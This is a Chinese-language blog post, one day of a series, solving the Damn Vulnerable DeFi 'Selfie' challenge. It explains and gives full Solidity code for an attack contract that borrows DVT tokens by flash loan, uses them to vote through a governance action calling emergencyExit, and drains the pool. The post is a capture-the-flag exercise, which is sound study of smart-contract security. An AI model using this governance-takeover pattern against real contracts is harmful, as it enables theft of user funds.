iT邦幫忙

2024 iThome 鐵人賽

DAY 9
0

hint

A new lending pool has launched! It’s now offering flash loans of DVT tokens. It even includes a fancy governance mechanism to control it.

What could go wrong, right ?

You start with no DVT tokens in balance, and the pool has 1.5 million at risk.

Rescue all funds from the pool and deposit them into the designated recovery account.

Analyze WTF

又是閃電貸的題目,這次不演了,我們沒有任何啟動資金,真的要空手套白狼把150萬個代幣拿走

可以看到這題有3個合約
ls
簡單看過合約以後,可以知道3個合約的用處,但是實際上對我們有用的合約就只有兩個

  1. SelfiePool 是負責閃電貸功能的進行,使用了一個 emergencyExit function,而它使用了 onlyGovernance 修飾器,這意味著它只能通過治理合約調用
  2. SimpleGovernance 可以建立一個治理合約的動作,但是需要經過過半的投票,以及要經過兩天才會生效

Solve WTF

那看了上面的分析可能會覺得有點一頭霧水,要怎麼等快一點XD,那基本上我們可以使用 vm.warp,接著執行 executeAction 來將代幣轉移到恢復帳號,詳細步驟如下:

  1. 由於 SelfiePool 可以透過閃電貸借代幣給我們使用,所以我們可以跟底池借用大量 DVT,並且使用這些借用的代幣來進行代理投票,從而輕鬆達到過半投票的條件
  2. 我們有投票權了以後,就可以調用 SimpleGovernance 合約的 queueAction,創建一個新的合約,新的合約主要的功能就是可以調用 SelfiePool 中的 emergencyExit,把代幣轉移到我們手上 (非恢復地址)
  3. 創建完動作以後,接著就是等2天 (利用 vm.warp),然後執行 executeAction

然後因為我們會用到一些其它的規範,所以我們要把它們都 import 進來

import {IERC3156FlashBorrower} from "@openzeppelin/contracts/interfaces/IERC3156FlashBorrower.sol";
import {IERC20} from "@openzeppelin/contracts/interfaces/IERC20.sol";

再來就是產攻擊合約跟執行

function test_selfie() public checkSolvedByPlayer {
    Say_Cheese exploiter = new Say_Cheese(
        address(pool),
        address(governance),
        address(token)
    );
    exploiter.exploitSetup(address(recovery));
    vm.warp(block.timestamp + 2 days);
    exploiter.exploitCloseup();
}
contract Say_Cheese {
    SelfiePool private immutable selfiePool;
    SimpleGovernance private immutable simpleGovernance;
    DamnValuableVotes private immutable damnValuableToken;
    uint256 public actionId;

    bytes32 private constant CALLBACK_SUCCESS = keccak256("ERC3156FlashBorrower.onFlashLoan");

    constructor(
        address _selfiePool, 
        address _simpleGovernance,
        address _token
    ) {
        selfiePool = SelfiePool(_selfiePool);
        simpleGovernance = SimpleGovernance(_simpleGovernance);
        damnValuableToken = DamnValuableVotes(_token);
    }

    function onFlashLoan(
        address,            // initiator (not used)
        address token,
        uint256 amount,
        uint256 fee,
        bytes calldata data
    ) external returns (bytes32) {
        // Delegate votes to this contract
        damnValuableToken.delegate(address(this));

        // Queue an action through governance
        actionId = simpleGovernance.queueAction(
            address(selfiePool),
            0,
            data
        );

        // Approve the flash loan repayment
        IERC20(token).approve(address(selfiePool), amount + fee);

        return CALLBACK_SUCCESS;
    }

    function exploitSetup(address recovery) external {
        // Encode the emergencyExit function call
        bytes memory data = abi.encodeWithSignature("emergencyExit(address)", recovery);
        
        // Request a flash loan and trigger the onFlashLoan callback
        selfiePool.flashLoan(IERC3156FlashBorrower(address(this)), address(damnValuableToken), 1_500_000e18, data);
    }

    function exploitCloseup() external {
        // Execute the queued action
        simpleGovernance.executeAction(actionId);
    }
}
function test_selfie() public checkSolvedByPlayer {
    Say_Cheese exploiter = new Say_Cheese(
        address(pool),
        address(governance),
        address(token)
    );
    exploiter.exploitSetup(address(recovery));
    vm.warp(block.timestamp + 2 days);
    exploiter.exploitCloseup();
}

pass

每日梗圖(1/1)
meme


上一篇
Day 8 - The Rewarder_這在我們業界是種獎勵
下一篇
Day 10 - Compromised_好啦我脫褲子
系列文
我也想成爲好駭客13
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言